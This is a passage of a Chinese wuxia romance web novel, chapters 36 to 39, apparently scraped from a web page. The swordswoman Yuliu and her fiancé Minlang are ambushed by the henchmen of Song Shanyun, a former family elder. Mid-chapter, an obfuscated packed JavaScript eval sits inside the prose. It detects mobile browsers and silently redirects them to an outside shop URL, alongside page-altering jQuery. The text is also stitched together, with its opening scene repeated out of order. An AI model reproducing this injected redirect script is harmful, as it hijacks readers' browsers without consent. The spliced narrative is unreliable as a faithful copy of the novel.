身后风声呼呼,她循声回头,那条名为阿松的猎犬正朝他们,不对,它突然变了方向,已经朝她扑来。 玉流当即跃至另一边:“操!” 这条狗机灵得要命,玉流一时半会竟然甩不开它。一人一狗跑远,不像是追杀,倒像是玩闹。 宋山云微怔,他明明是想让阿松去咬另一个——那个小郎君不知何时已飞身绕到那两名大汉身边,手起刀落,利落得哪里像是第一次。 天上的黑云游动,遮住了明月。 身形瘦削身姿颀长的少年垂着头,散落的发丝缭乱了半张脸。手中刀刃抹过了两个人的脖子,淌着血珠,落在沙土里。 风乍起,少年抬头,看向他的眼眸骤亮。 他好像变了一个人。 宋山云睁开双眼:“你——” 下一刻,眼前的人消失不见,只剩下还停滞在半空的血滴,宋山云的心几乎提到了嗓子眼,来不及执笔,敏郎已悄然而至。 “宋管家和宋庄主不是亲兄弟吗,为何身份一个天上一个地下?” 他如鬼魅游走,像是地狱而来。手肘抵住脖颈的软骨,微不可闻的声音直穿人心。 “三叔,你就这么没用吗?” 宋山云脸色巨变,难以置信地看向近在咫尺的人:“繁——” “呵呵呵,”敏郎低笑,轻轻张嘴,“嘘。” 36. 行路中 来时大张旗鼓,去时销声匿迹,真够离谱的。 玉流托起斗笠边檐,仰头看了眼黄昏天色。 落日如金,天地橙艳,这时候的黄沙路上已没什么北上的赶路人。 她控着缰绳,夹着马腹,放慢了速度。 “吁吁吁。”身下的白马被迫在原地走路,发出不耐的吼鸣。 玉流拍拍马脖子,稍作安抚:“等人呢。” “咴咴,咴咴……”白马甩着头,似乎不赞成她的做法。 玉流笑笑,轻声诉语:“没办法,最近事情有点多,我有点乱,你也忍耐一下。” 她说得含糊,心里并不是,她只是不想说得太清。即使在京城当了一年的外侯官,能阴狠无情,翻脸不认,可落笔不是。 按了指印的一卷是板上钉钉的证据,给她也束上了一圈无形的纸戒。 那张婚书绑住的,不会止他一个。 这个小郎君,很会往她隐秘的弱点上踩。 很低的笑自嘴角倾泻,玉流沉了沉气息,将垂落的发丝搭在耳后,等着敏郎追上来,平淡问道:“累吗?” 敏郎的那匹马养得再好都不足以奔千里,离开崇州后不久就有些跟不上,跑得气喘吁吁,骑马的人也是,满头的汗跟浸湿一样。 鬓发软软地贴着额头,卷成各色的圈圈,围着微红发热的脸,水灵灵的,像是盛夏午后从冷山泉中拎出来的玉露桃。 玉露桃小口呼着气,抬手擦去下巴绒毛上滴下的汗珠,喘了许久,才道:“累。” 这次敏郎不敢像先前的三次一样逞强了。就算他还行,马儿也不行了,真得找个地方歇歇了。 “那就休息一会儿,跟我来,”玉流调转马头,“天也快黑了,这会儿缓一缓,晚上继续赶路。” 大殷州界边境在人马繁忙的官道上设有驿站,玉流这次要低调回程,就没往人多的路上走。 没有官道的路上,会有一些附近乡民临时搭的茶摊供路过的行人歇脚。 但能不能找到,全凭运气。 看来他们的运气不错。前方不远,有一个经幡摇曳的铺子。 找了个阴凉的山坡系好缰绳,玉流和敏郎走向铺子。 里头的店小二热情地来招呼:“两位客官,来点什么?” “来壶凉茶,再……”铺子后升腾起的袅袅白烟和蒸腾起的香气如云雾环抱,让人无法忽视,玉流转向敏郎,“你想吃什么?” “我吗,大,不,您、您不吃吗?”幸好,敏郎还记得玉流嘱咐的话,没回京城前,不要在人前轻易喊她大人。 玉流没什么胃口:“我不吃。” “那我也不吃。” “我不是在问你吃不吃,”玉流直接自己点,“来碗白汤,再来个馕饼,给他。” “好嘞。” 店小二也不多看多问,在非官道的地方做生意,讲究审时度势,装聋作哑。 玉流找了张靠近角落的桌子坐下。 敏郎搬来凳子靠近,碍于身份,嘴唇反反复复动了很久,终于很小声问她:“您真的不吃吗?” “嗯,你多吃点,毕竟,”玉流道,“你看起来比我虚。” 敏郎立即反驳:“没有!您、您怎么能说、说男子身子……” 玉流:“不是吗,那晚上我们不停,你撑得下去?” 敏郎:“……”她一定要这么正经地说出来吗? “有没有觉得似曾相识,”玉流睨他,“还有意见?” “没、没有。”敏郎揣着手坐好。 瞧他撅嘴委屈那样,玉流觉得好笑,点点桌板:“别这么不情不愿的,我是在关心你。” “哦,谢谢大人。” 听起来更委屈了,玉流微微扬唇,满意了。抬手,转了转斗笠。 从敏郎的视角看去,能看见斗笠偏移的位置上,勒出了浅红的凹痕。 “不摘下来吗?”他问。 “不了。”缓解了额头的痒意,玉流将斗笠压回来。她的这张脸太打眼了,能挡着就挡着吧,免得被借机生事,耽误回京的时间。 敏郎皱眉,满脸都在用力否决她的做法:“不、不行,闷太久会不舒服的。” 接着,他就起身往帘子之后走去,留下一脸懵的玉流。 不多时,敏郎撩起帘子走了出来,不声不响地走到玉流身后,也不坐下。 小二后脚也跟了出来。 “您慢用。”他给玉流端上了茶,拿起白布擦了擦额头,又回去忙了。 玉流没急着去拿茶壶,转过半身问头顶的人:“你还站着做什么?” “就来。”敏郎嘴角漾开一抹笑,移开凳子,屈膝半蹲,几乎与她平齐。 “哎?” 不等玉流说什么,敏郎猛地探头,钻进斗笠宽大的帽檐中。 半明半黑的山野,不算柔和的晚风,他就这么推起斗笠,悄然贴近,两张脸几乎快要碰在一起。 玉流一时惊得瞪圆眼睛:“你——” 但他只是拿出一方沾水的帕子,盖在她泛红的额头,冰冷的流水抚过,风沙烈日摧出的热被驱散了。 她抿着唇,庆幸这时辰这地方,没什么过路人。 敏郎:“有没有,觉得好一点?” “嗯,”玉流只要垂下眼睛就能看见他仰起的脸,不算太自在,“你现在做这种事,脸都不红了是吗?” “为、为什么要脸红?”敏郎无辜地看着她。 玉流:“……” “噢,”老长的一声,敏郎像是才发现两人的姿势暧昧,纯稚的人迅速打通任督二脉,稍显恶劣地问,“大人原以为我要做什么?” “……擦脸。” “噢。”更长的一声。 得寸进尺! 玉流抖抖嘴唇,看出他难以自持的不怀好意,伸手抓过帕子:“我自己来,你坐下。” “好呢。”敏郎压不下弯起的唇角,搬回凳子挨着她。 “别那么近,热。” “不好。” “……你,算了。”玉流忍下了,戴好斗笠,不理一直盯着她看的敏郎。 远处黄沙飞起,马蹄渐近。 嘈杂的闹声中,玉流侧身,几位袒胸露乳的大汉策马而来,后方还跟着一条疾驰的猎犬。 为首是位光头,还未下马就朝着这边大喊:“小二,上三壶好茶。” “好嘞,客官稍等!” 里头的小二应声,端出汤与饼,放在敏郎面前:“请慢用。” 人来了,玉流收回视线,拿起陶碗,吹去浮在壁上的细沙,倒下茶水。 原来同行的还有一位书生打扮的中年人,就坐在离他们最近的那张四方桌子旁,那条龇牙的猎犬乖乖地趴在他的脚边,呼噜噜地吐着气。 玉流没吱声。这里离崇州不算远,来来往往人马很多,地痞恶霸配书生,常见。 只是敏郎悄悄移了一下凳子。 他的斜后面,不是人。 玉流问:“你怕狗?” 敏郎:“有点。” 玉流看着他快挤到桌边的薄背:“要不我和你换换?” 敏郎:“没关系,这样,嗯……” 他犹豫了一下:“那我能不能,再离您近一点?” 玉流:“……”她记得得寸进尺可不是好话啊。 “让让,让让!”光头走了过来,隔断了敏郎和猎犬之间的空隙,也打断了玉流接下来要说的话。 他应该很会来事,拿了小二递来的茶壶,打着笑脸给书生斟茶倒水:“管家,这个时辰了,要是还没——” 书生竖起手指,示意他闭嘴:“人多眼杂。” 光头立即会意,点头哈腰:“您说得是。” 书生:“知道就坐下吧。” “好嘞。”他拖拉出凳子,就坐在了玉流和敏郎的身后。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13321631|136175||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 两人说话声不大,也说得克制客气,但这方圆几里,小二在帘子后偷懒,这会儿除了他们一群,剩下的也只有玉流和敏郎二人。 这人多指的谁,不言自明。 玉流轻嗤,倒茶喝茶,顺便再欣赏一下隔壁的美人吃东西。 敏郎很有坐相,腰背挺得笔直,也很有吃相,喝汤都没有声音,砸吧嘴都没有。 最后一口饼下肚,敏郎眼神飘忽:“您能不能,别这么看着我。” 带着点哀求的语气。 “吼,”玉流笑他,“这时候脸红了。” 敏郎低眉:“您不能、不能这么小气,刚才不让我看。现在,有人呢,谁、谁都不认识。” “你还挺有要求的。” “嗯。”他摸上有点红的耳廓。又不是什么人都配知晓他俩关系的。 玉流还想说点什么,她的白马叫了声。闻声看去,马儿似乎受了什么刺激,在来回踏着马蹄。 她撑着下巴,眼睛平看,旁边的矮木好像有些歪斜…… 就这样看了良久,她问:“吃完了吗?” “嗯。”敏郎喝完了最后一口汤。 “那走吧。” 玉流站起来,地方太窄,朝着后头的光头道:“您也让让?” 光头在书生的示意下,踩着凳腿子往旁边移着,鼠眼黏在他们身上来回转,似乎是听出了两人的关系,啐了一口。 “两个没骨头的小白脸。” 玉流冷冷一看,秉承多一事不如少一事的念头,权当他放屁。 “小二,结账。” 离开前,她在那位儒雅的中年书生身上短暂地看了看,然后—— 被发现了。 在书生饱含深意的微笑中,玉流淡定地移开眼。 不知又赶了多久的路,抬头已是入夜时分。 黑如墨的天穹下,隔着一段路就是一片枯树的荒芜郊野上,夜风卷起地上的草团,滚过几个来回。 玉流听声辩位,拉住余光不知在看何处的敏郎。 “停下。” “大——” “嘘。” 不远处摇晃的草堆中,跳出一只野兔。 “嗯,没事了。” “那个,我有事。” “怎么了?” 敏郎有点难堪:“汤喝多了,想、想解手。” “去吧,”玉流理解,“记得别走太远。” “可、可……”一想到玉流灵敏的听觉,他的脸就要烧起来,“我……” “我会堵住耳朵。”玉流很贴心,保护他的自尊。 敏郎揪着手指头:“……谢谢大人。” 玉流真的堵住了耳朵,手指都快没知觉了,人还没回来。 怎么这么久啊,都没声音了。 玉流看着他的马:“你主人呢?” 马儿:“……咴儿?” 白问,玉流扭头:“敏郎,敏郎?” 除了虫鸣,遥远的天边只剩下她自己的回音,在旷野格外悠扬。 玉流脸色微变,翻身下马。冷静地察看四周后,抓上剑柄,朝着方才敏郎消失的方位,沉声道:“滚出来。” 没有回应。 “哈,”玉流冷笑,“再不出来,别逼我动手。” “啪啪啪”,有人鼓着掌,从幽黑的枯木林中走出。 “你这小白脸挺有本事的,比你的小兔爷强,就是太狂了,动不动手,应该是由我们说了算。” 玉流摸着剑,不急着动手了。 “原来是你们。” 来的这三人正是在铺子中有过一面之缘的大汉。打头阵的这位,还是那时嘴了他们的光头。 在他身后,敏郎正被人勒着,用刀架在脖子上。 身下嘛,还好,裤子穿得好好的。 玉流放心了,再去看这熟悉的场景,不禁感慨:“看来你真的很容易被用来威胁我。” 37. 不长眼 时间退回到刚刚。 为了装装样子,他跑了点路,算着已经不在玉流的视野内后,才慢下来。淡然走进林子,如张牙舞爪鬼魅黑影的枯树林中,细微之处的脚步越来越近。 他脚下停顿,声音有点多,仔细辨一辨,有三道,是提着内力,在刻意压制。 玉流不会跟上来,那这会儿来的只有—— “小郎君,识相的话我劝你不要喊。”恶臭与卑劣的话语落下,冷如冰的刀刃悄然贴上了后颈,满是刀痕的大手拿起麻绳,粗暴地将人绑住。 “对,这样才听话,不然,哈哈哈哈哈,”被月光照得反光的头颅下,一张丑陋的脸阴笑着,将刀移到下巴,抬起敏郎的脸,“哎呦,这张细嫩肉的小脸就不一定护得住了……” 敏郎微颤,在和玉流的遥遥相看中,他也发现了这个悲惨的事实,弱弱道:“对、对不起。” 玉流接受他的歉意:“没关系,这也是没有办法的事。” “喂喂喂,”察觉自己被无视的光头,“你是眼瞎吗,看不见——” 太吵了。 玉流眼神一凛,伸手让他闭嘴。 光头张着嘴,呜了一会儿,发现自己真被一个豆苗瘦的小白脸吓到了,不由得看向身后的小弟。 小弟也觉得震惊:“大哥,您没事吧。” 光头眯眼,看着玉流。 脸都被斗笠遮着,哪里来的狼视,定是他看错了。 光头:“没事,不准说出去。” 小弟:“知道知道。” 光头甩着刀,拿出气势来,粗声大喊:“喂,说你呢,眼瞎还耳聋是吧!” 玉流毫不在意这个废物,一句话都没进耳朵,她只看着敏郎。 他被壮他半个身位的大汉紧紧勒住,玉流看不大清他如何,只能问:“受伤了吗?” 玉流看起来完全不怕,他也能稍微定下心来。 “没有。” 玉流:“那就好。” 一而再,再而三被无视,光头怒从心起,抓起大刀指向玉流:“操!死断袖,□□都不知——” “哎,急什么呢,我不是在听吗,”玉流淡定地打断,用力踩上地上短短的枯草根,点点下巴朝他看去,“说来听听,你们哪家的,这么不长眼,敢劫我的人。” 此话一出,不仅光头放声哈哈大笑,连身边的两个小弟也是如此。 “大哥,天哪,她是不是傻啊。” “是吧,我就说我们兄弟几个来就够了,跟我没错。” 小弟拱手:“没错没错,这下一定能在管家跟前露一脸了。” “那是当然。” 光头笑够了,龇着一口黄牙:“我说,你这小白脸看起来清清瘦瘦的,没想到还挺狂。” 玉流背着手,转了转放在身后的剑。听这几句话的意思,他们三人是单独来的。 搞突袭不先问过主人吗,可能会出大事哦。 所以到底是哪家这么不长眼呢,她还挺好奇的。 玉流挑起眉梢:“不然呢?” “真不认识我们啊,”光头站直,睥睨道,“说出来吓死你。” “大哥,不可。”身后小弟出声提醒。 光头瞪眼:“我知道,闭嘴。” 光头也不跟她绕,举着大刀,直接道:“小白脸,我们兄弟赶时间,你把东西交出来,我就留你们这对恶心的雄鸳鸯一个全尸。” 简直有毛病,玉流心里骂了一嘴,面上倒是挺配合,思索了一番,询问道:“什么东西?” “装蒜,”光头冷哼,“你心里清楚。” 清楚什么,她现在什么都不清楚,越过他又问敏郎:“你知道吗?” 敏郎摇头:“啊,我吗,不知,嘶——” 玉流一听:“你伤到了?” 敏郎:“没、没有,刚才手上被树枝划到了。” 这下光头确定这两人是完全不把他们当人看了。 “哎呦我去,两个小白脸你侬我侬,啊呸,”光头恶心上来,吐了一口唾沫,“你可别给脸不要脸!” “你脑子坏掉了吧,不知道你在说什么,”玉流懒得和他继续兜圈子,“把你手里的人还给我。” 光头:“不行,你先把我们的东西交出来。” 真服了,玉流简直无话可说:“那你跟我说是什么东西啊。” 除了摊子那儿,他们都没和这群人有过其他接触,玉流压根不知道这个光头说的东西到底指的是什么。 光头也不多说,就那么几个字:“你清楚。” “我清楚?”玉流向远处望去,风鸣越来越近,她笑了笑,嫌恶地翻了个白眼,真是蠢到家了。 “清楚你不是东西?” 光头没什么反应,后面被抓的敏郎噗哈地笑出来。 身后的小弟立即提上刀刃,警告道:“严肃点,不准笑。” 敏郎恢复觉悟:“哦。” 光头可能真的脑子不好,愣住了:“你什么意思?” 身边的小弟及时解惑:“大哥,她在笑话你。” “笑话我,笑话我什么,不是东西,不是……啊,啊,好啊!” 光头终于领会过来,他没想到会被一个女相的小白脸看不起,怒意狰狞,气得撩起袖子就要上:“今天是个好日子,兄弟们,给我看好了,看我怎么把她给——” “汪汪!”猎犬的叫声忽至,随之而来的,还有,“退下。” 和煦如风的音色,却让这几位大汉立刻站好。敏郎被迫,也跟着挺直脊背,只是他侧过了脸。 连要来杀她的这位也收起刀规规矩矩地鞠躬。等到这位气质儒雅的书生走到眼前,才敢抬头,谄媚开口:“管家,您怎么来了,我已经找到偷东西的人了,就是他们,一个已经逮到了,还有一个,喏,就是她,在和我们装。” “哦?这样吗,”书生转过脸,先是看了一眼对面的玉流,再看了一眼被抓到的敏郎,最后看向急着邀功的光头,随和地拍拍他的肩膀,“那还真是……辛苦你了。” 光头大喜:“不辛苦,不辛苦,为管家效力,都是我应该做的。” “那么,”书生按着他的肩,往下施力,话锋一转,“还记得我来时的第一句话吗?” “啊,什么,您说了什么?” “看 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光头满脑子都是立功,完全没看出管家的眉头越压越低,显然已经耐心告罄。 “管家,您听我说,我已经问好了,就是这个小白脸,还满嘴谎话,想哄骗我,您不要——” 忽地,“汪呜——”猎犬抬起爪子,冲着敏郎长叫。 “狗大人,你打什么岔啊,我和管家说话呢,我刚才说到哪儿了,哦,就,呃——” 几乎是无人察觉,就在眨眼的片刻,光头的话就到此为止。他的眼白上翻,脖颈一道血痕飞出,脑袋就这么载倒下去。 重重的两声,在寂静的土地上,分外刺耳。 书生收手中的毛笔,平静得不像是刚刚杀了一个人:“我的狗都嫌你烦,是吧,阿松?” “汪汪!”紧接着,猎犬猛地咬上断肉,凶猛扑食。 犬齿撕扯咀嚼血肉的声音被夜风无限放大,卷起漫天的血腥。风一吹,全往人脸上来。 味儿太冲了,书生皱眉,卷起袖子掩鼻,对着玉流道:“抱歉。” 说完,踢踢它的肚子:“像什么样子,去,到边上吃。” 猎犬呜呜,哀怨地看了主人一眼,拖着留着血的脑袋走了。 “手下不懂事,见笑了,”处理好这些,书生拿出帕子,擦去手指溅上的血,朝她微笑,“人还不如狗听话,活着也是浪费,姑娘说是吗?” 玉流侧了侧身,也不说话,依旧玩着手里的剑,心里想着,这走向还有点意思。 被人无视扫了脸面,他也不介意,笑了笑,算是化解她的冷漠。 “看来是不认得我了,不怪你,怪我。” “玉流小丫头,多年未见,亭亭玉立了,”书生收好帕子,眯着笑眼,眉目和蔼,毫不掩饰对她的欣赏,“我当初就和李长庚说过,你会比宋繁声更成器。事实证明,的确如此。” 一个两个熟悉的名字蹦出来,还说得这么熟稔,玉流抬眸,她倒是要好好瞧瞧了。 只见她上看下看,左看右看,来了一句:“呦,你哪位?” 38. 新旧仇 “我让你动了吗,”书生骤然变脸,冷声训斥就要冲上去出刀的人,“一边站着去。” “管家,可是这个小白脸——” “怎么,”书生踢开脚边的土块,悠然道,“你也想和你大哥一样?” 骨碌碌——土块滚呀滚,滚到了已经快要被吃没了的那具尸体边,大汉抖着肥肉的脸,摇头认错:“不敢不敢,管家您请。” “这还差不多,”书生转脸拾起文雅,“小丫头去了京城一趟,嘴皮子功夫渐长啊。” 他看起来对玉流轻挑地寻衅不甚在意,笑了笑:“别开玩笑了,我知道你认出我来了。” 真够有君子风范的。 玉流也笑笑:“是认出来了。多年未见了,宋山云伯伯。” 宋山云,儒雅为皮,毒辣为里,曾经江湖上最出名的两面三刀之流,也是镜水山庄最后的荣光。一支铜铁打造的狼毫毛笔,穿身过,杀无形。 过去曾有好事者将这位铜笔书生和师父奉为一谈,说什么李宋书生兄弟。这种闲话当作谈资随便听听也就罢了,宋家还真敢拿到明面上来说。真是给宋山云长脸了,伪君子傍上这么一个大腿,救了镜水山庄二十多年。 宋山云看她,用着责怪的口吻:“难得回来,你应该过来看看。再怎么说,我也是看着你长大的。” “嘁,”玉流嘲笑,“您脸皮可真厚,万丈峰我都没回去,你那镜水山庄又哪里来的架子值得我特意去拜访一趟?再说了,您上位了吗,没有吧,主事的不是依旧是宋远徽吗,您那位脑子不太好的二哥?” 这样的讥讽在宋山云的预料之内:“玉流,别这么没大没小,怎么算,我们都是你的长辈。” “长辈?”玉流阴郁上脸,“笑话,三年前围杀我的时候,你们有想过我是小辈吗?” 宋山云佯装为难:“玉流,当年的事,只是为了给阿繁讨个说法。” “呦,真会找借口,”玉流也不给他面子,直接点破,“别把自己捧到天上,不过是为了做做样子给世人看看,看看你们镜水宋家,还长着心呢。” 玉流根本不给他一个台阶,自己也不走他给的台阶,宋山云无奈摇头:“话不投机,看来玉流是不想多谈旧事了。” 玉流:“我压根就没想和你谈。” “那好吧,这位是……”宋山云也不继续演了,睁开一只眼,露出锐利的目光。 半张的脸慈爱,半张的脸阴狠,敏郎扭过头,躲过深究的刺探。 崇州地方大,人多眼杂,消息灵通,他们早就听说了,太守府的那位女侯官身边最近总是跟着个俊秀的小郎君。 宋山云本以为她只是一时兴起,没想到居然真的带着,这关系,看来真不一般。不知他那位早亡的侄子在地府知道了,会不会气得托梦回来? 宋山云想着笑话,在男宠和面首间,选择了后者:“这位是,你养的那位面首?” 玉流:“不是。”也是奇了怪了,怎么这些人第一次见面,都会觉得敏郎是她偷养的,小郎君看起来,这么像勾人的狐媚子吗? “这样吗,”宋山云不太信,俯身想要近看,“他看起来,是不是有点眼熟。” 能不眼熟吗,玉流直说了:“介绍一下,这位是我的……” 小狗已经看向她,目光巴巴的,在黑夜里都能感觉到他灼灼的凝视。 总之,非常期待。 玉流对着他的眼睛,如他所愿:“未婚夫婿。” 宋山云的半身僵住,惊讶回头:“你说什么?” “伯伯,您未过半百耳朵就这么不好了,”玉流伸手索要,字正腔圆道,“我说,把我的东西还给我。” 宋山云在这两人间来回观望,玉流的神情不似作假,他简直不可置信:“你……这是长心了?” “什么叫长心了,我一直都有啊,”玉流点着脚尖,把剑甩到了身前,“给个面子吧宋伯伯,不然我真的要动手了。” “啊,哈哈哈哈哈。”宋山云收去了浮在脸上的笑,他都多大岁数了,再像年轻时候这么笑,脸皮都要挂不住了。 “哎呦玉流,看来你是真的长大了,那就不用说什么场面话了,东西交出来,我就把这小郎君还给你。” 东西东西东西,除了自己的命,玉流真想不出来她还有什么东西值得这群人挂念。 “伯伯,我和你的狗腿子说了,我不知道,不妨你先告诉我,你们到底要什么东西?” 宋山云脸色不定:“这可不兴说。” 一个个都不说,玉流咦了声,有了个想法:“宋伯伯,不会你根本不知道是什么吧。所以一直东西东西,和无头苍蝇一样乱撞。” 宋山云也不否认:“阿松,别吃了,东西在这儿吗?” 似乎是为了给主人撑腰,大快朵颐的猎犬叫了几声:“汪呜……” “你听。” “听你个头,简直浪费我时间。”大半夜的,跟狼叫一样,小心招野狼过来。 玉流:“没有,爱信不信,不信拉倒,拉倒动手。” 宋山云真是搞不懂玉流的脑筋:“你这丫头,好的学不会,尽是把李长庚的坏学了个够本。” “你不要你的小夫君了吗,”宋山云拿出铜笔握于掌心,指向还悬在刀上的人,“他现在是在我的手上。” “哦,我差点忘了,”玉流拔剑,指向他,残月冷光落至剑尖,眼眸却红如血月,“他死了,我让你们给他陪葬。” “玉流,别太猖狂。” 玉流不在意:“不试试怎么知道呢,宋伯伯,你不是我师父的对手,自然不会是我的对手。” 说罢,玉流足尖点地,直指宋山云而来。 “你不讲规矩。” “我是小女子,讲什么规矩。” 看戏的敏郎抬起下巴,哼哼问:“这位大哥,说真的,你要不要猜猜她是谁?” 哪里还要猜,江湖上谁不知道玉流的名号。 大汉:“她她她……” 敏郎笑着:“嗯嗯嗯,她好像要过来了。” 大汉:“什么?” 话音才落下,玉流果真弃宋山云而来,长剑挑向敏郎身后。 一招守空的宋山云这才察觉玉流根本就没想和他打,惊叫道:“蠢货,给我将人抓紧。” 另一个立即反应过来,挥刀就要砍下。 敏郎轻笑,心说来 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“旧仇?”敏郎不太明白,“是刚才说的,围杀吗?” “算是,”玉流并不是很想细说,“因为他们也相信是我杀了宋繁声。” “……嗯?” “你不知道?” 玉流靠着他的后背,整个人兴奋起来:“宋繁声姓宋,镜水山庄宋远徽,宋山云的宋。” 宋山云可是二十年前响当当的人物,和他打一场很划算。 “玉流,你也太小看我了。”宋山云收起铜笔,以手做哨,吹了声,而后柔和地看着他们。 很怪的姿态,玉流不解。 身后风声呼呼,她循声回头,那条名为阿松的猎犬正朝他们,不对,它突然变了方向,已经朝她扑来。 玉流当即跃至另一边:“操!” 这条狗机灵得要命,玉流一时半会竟然甩不开它。一人一狗跑远,不像是追杀,倒像是玩闹。 宋山云微怔,他明明是想让阿松去咬另一个——那个小郎君不知何时已飞身绕到那两名大汉身边,手起刀落,利落得哪里像是第一次。 天上的黑云游动,遮住了明月。 身形瘦削身姿颀长的少年垂着头,散落的发丝缭乱了半张脸。手中刀刃抹过了两个人的脖子,淌着血珠,落在沙土里。 风乍起,少年抬头,看向他的眼眸骤亮。 他好像变了一个人。 宋山云睁开双眼:“你——” 下一刻,眼前的人消失不见,只剩下还停滞在半空的血滴,宋山云的心几乎提到了嗓子眼,来不及执笔,敏郎已悄然而至。 “宋管家和宋庄主不是亲兄弟吗,为何身份一个天上一个地下?” 他如鬼魅游走,像是地狱而来。手肘抵住脖颈的软骨,微不可闻的声音直穿人心。 “三叔,你就这么没用吗?” 宋山云脸色巨变,难以置信地看向近在咫尺的人:“繁——” “呵呵呵,”敏郎低笑,轻轻张嘴,“嘘。” 39. 不要忘 不久,玉流带着阿松晃了回来。 凶猛的猎犬被捏住了后颈皮,夹着尾巴,缩着爪子,吐着舌头留着哈喇子,没伤,就是看起来异常的呆蠢。而抓着它的人,看起来也还行,就是脸色相当差劲。 “呸,”玉流吐出一嘴的毛,“宋山云,你够恶心的啊。” “你做小女子,那伯伯我只能当小人了,”宋山云青着脸,将铁杵劈成的笔尖对准敏郎的咽喉,朝玉流道,“一换一,你给我狗,我给你他。” 好像有点难听,不,就是很难听。 “这条狗这么重要?”虽然不懂宋山云为何会转变态度,但是狗换人,怎么算都是她吃亏。 玉流的质疑即刻引来了阿松的不满,尖尖的狗耳朵转过来,爪子刨了好一会儿空气:“汪汪!” 玉流伸手就拍它的脑袋:“我不是在问你!” “玉流你轻点,阿松可是我的老朋友了,”宋山云也不想多做纠缠,阿松认出熟人后会犯傻,是个变数,“已经没有其他碍事的人了,此事只有你我他知,你不亏,你再犹豫一会儿,我就不敢保证这个提议是否还作数了。” 似乎觉得自己光说不够有说服力,宋山云将笔尖前移,抵住了怀中人脆弱的颈骨,粗钝的尖头尚未穿破肌肤,寒铁的冰冷吓得敏郎一个激灵:“唔!” 宋山云很满意他的反应:“现在呢,怎么样?毕竟是未婚夫婿了,你总在意他性命的吧。” “在意是在意,问题是,”玉流挑着眉,镜水山庄自宋远徽接手后,上梁不正下梁歪,又蠢又毒,他们还是亲兄弟,她不信宋山云能好到哪里去,“伯伯你不找你的东西了?” “就算我还找,你会给我吗?”事到如今他也算是看出来了,一个两个,都有病,比他们当年,病得更重。 玉流笑着,跨过他设下的陷阱:“伯伯,我说了,我不知道你要什么。” “呵呵,那就没必要拖下去了,”宋山云收起笔,提着敏郎的后衣领,丢给她,“该你了。” 宋山云给了诚意,玉流也不跟他虚情假意了,松手,放狗。 阿松欢喜地踩在地上,尾巴摇个不停,它没急着跑,扭头就拿脑袋拱玉流的腿。 玉流:“……干什么,我不是你的主人。” 她在忍,忍着不动脚把它踢出去。 敏郎也在忍,这条傻狗真是越老越色了,得赶紧让它走。 但他不能主动上前,免得被阿松缠上来,只能示意宋山云,别在背后的手都快摇出花来了。 宋山云点头,他知道。 “咳咳,阿松,阿松!”宋山云叫了两次,他的狗还在绕着玉流转圈。 宋山云不说尴尬是假的,脸上有点挂不住:“不好意思,阿松一直当光棍来着,最近隔壁的同伴找到了媳妇,它有点浮躁了。” “阿松,别当舔狗!”宋山云厉声训斥,“快点回来!” “呜——”阿松终于停下了,呼呼吐气,看了眼主人,再抬头看了眼玉流,恋恋不舍地放弃她,听话地奔向宋山云。路过敏郎时,不忘汪呜一声。 真是条莫名其妙的狗。宋家不仅养人不行,养狗也不行。 玉流抖了抖腿,走到敏郎身前,手指按在他的颈部。她没看见明显的伤口。 暮夜催化了她的私心。 “有其他地方伤到吗?” 还放大了他的胆子。 “里面吗,”敏郎覆在她的指尖,引着往领口探去,摸了摸,仔细感受了一番,道,“不疼,应该没有了。” “那就好。”玉流没多想,也没发觉他的放肆。 柔情之所以少见,是因其不自知。 亲近和依恋如细雨润物,无声无息,在玉流自己都没有留意到的某个时刻里,她已经习惯了和敏郎之间的眷注。 她把敏郎拽到身后,转向宋山云时已没有了方才的柔软。 玉流还记得包打听卖给她的消息,金子都花了,不如在这时候用上:“伯伯你和宋远徽说一声,我祝他尽早为女儿找到个如意郎君,到时候送张帖子来,我替我师兄,给他堂妹送份大礼。” 宋山云不动声色地从玉流看向至敏郎,交汇的刹那,前一刻还温柔多情的眼神瞬间冷如严霜。 宋山云嘴角抽动,他这侄子死了一次后真的跟变了个人一样,疯得没边了。 敏郎无声开口:您该走了。 他知道!催什么!一个个的,跟要造反一样! 宋山云怒道:“今日之事到此为止,镜水山庄之后不会再来找你的麻烦。” 冲她生什么气啊,说出的话还这么可笑。玉流吊起眉梢,不屑自眉尾而出:“宋伯伯,您这是拿岁数换记性了?别忘了三年前我可是杀了你们一半的人,最后还是宋远徽出面来求师父我才放过了剩余的人,怎么,您觉得我会怕镜水山庄不成?” “我记得,我是怕玉流你忘了。” “笑话,我能忘什么?” 宋山云轻叹道:“玉流,我知你狂傲,你也有这个底气,但你师兄不在,师父早已隐居,凭你一人之力,不可能挡下天下人。收敛些吧玉流,就算是你看不起的镜水山庄,立于世间也已有百年,远超你这天下第一剑。” “伯伯,世道变了,说过去有什么用,谁知道以后呢,”玉流耸肩,嘲笑道,“宋远徽吗?” “会有其他人的。”宋山云不介意她的刻薄,正好衣冠,举目遥遥相看。 他看着玉流,逐渐温和的视线从她的脸上剥离出另一个模糊的身影。他有片刻的恍惚,在失态前稳住了脚下。 真要计较年纪的话,他的和李长庚相差无几,不然也不会被称为异姓的兄弟。只是同样的久居避世,李长庚却比他老得更快,五十岁不到的人,已经鹤发长髯加身。 看来霜雪无情,多年未见的老友更是凄苦自虐,昔日洞明的双眸也似山泉眼枯竭,满身狼藉,一地枯败。 果然养孩子劳心费神,还都不省心。 他们那辈的人啊,废的废,残的残,死的死。红白事无尽,老病死蹉跎,从未有个喜。 可他们那辈的人,留下的,也就只有这么几个孩子了。 踽踽独行二十多年后,在这样一个不太好的夜晚,他在他们的后辈身上窥见了过去的影子,宋山云想,这一次,也该轮到好事了。 只是好事多磨。 思及 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卷起的袖子下,是一道刺目的口子。他说是被树枝划伤的,口子的确不算深,就是长,一条血线跟蜈蚣似的,从小臂斜着快到手腕了。 “怎么弄成这样了?” “绑我的时候,他们把我的袖子,嗯,给扯上去了,我自己也没注意。” “下次小心点,还好只是皮肉伤,就这样扎一下,能止住血就行。” “好。” 